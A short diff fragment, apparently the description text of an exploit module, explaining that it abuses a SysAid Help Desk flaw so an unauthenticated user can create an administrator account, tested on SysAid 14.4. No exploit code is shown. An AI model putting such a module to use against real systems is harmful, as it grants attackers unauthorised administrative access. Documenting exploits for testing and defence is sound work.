+        This module exploits a vulnerability in SysAid Help Desk that allows an unauthenticated
+        user to create an administrator account. Note that this exploit will only work once. Any
+        subsequent attempts will fail. On the other hand, the credentials must be verified
+        manually. This module has been tested on SysAid 14.4 in Windows and Linux.
